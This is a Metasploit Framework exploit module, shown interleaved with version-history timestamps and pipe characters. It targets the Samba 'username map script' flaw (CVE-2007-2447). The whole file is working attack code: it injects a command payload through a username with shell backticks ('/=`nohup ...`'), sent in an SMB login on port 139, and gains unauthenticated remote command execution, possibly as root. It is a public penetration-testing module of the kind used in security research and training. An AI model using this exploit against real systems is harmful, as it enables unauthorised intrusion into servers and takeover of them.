2010-02-16 00:26:41 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Samba "username map script" Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a command execution vulerability in Samba
|
2010-04-28 06:43:51 +00:00
|
|
|
versions 3.0.20 through 3.0.25rc3 when using the non-default
|
2010-02-16 00:26:41 +00:00
|
|
|
"username map script" configuration option. By specifying a username
|
|
|
|
containing shell meta characters, attackers can execute arbitrary
|
|
|
|
commands.
|
|
|
|
|
|
|
|
No authentication is needed to exploit this vulnerability since
|
|
|
|
this option is used to map usernames prior to authentication!
|
|
|
|
},
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-2447' ],
|
|
|
|
[ 'OSVDB', '34700' ],
|
|
|
|
[ 'BID', '23972' ],
|
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
|
|
|
|
[ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => ['unix'],
|
2010-02-16 00:26:41 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Privileged' => true, # root or nobody user
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Compat' =>
|
2010-02-16 00:26:41 +00:00
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
# *_perl and *_ruby work if they are installed
|
|
|
|
# mileage may vary from system to system..
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ "Automatic", { } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'May 14 2007'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(139)
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def smb_login
|
|
|
|
# lol?
|
2010-04-30 08:40:19 +00:00
|
|
|
username = "/=`nohup " + payload.encoded + "`"
|
2010-02-16 00:26:41 +00:00
|
|
|
begin
|
|
|
|
simple.login(datastore['SMBName'], username, datastore['SMBPass'], datastore['SMBDomain'])
|
2010-04-30 08:40:19 +00:00
|
|
|
simple.connect("\\\\#{datastore['RHOST']}\\homes")
|
|
|
|
rescue XCEPT::LoginError => e
|
|
|
|
print_error("#{e}")
|
2010-02-16 00:26:41 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
|
|
|
|
handler
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|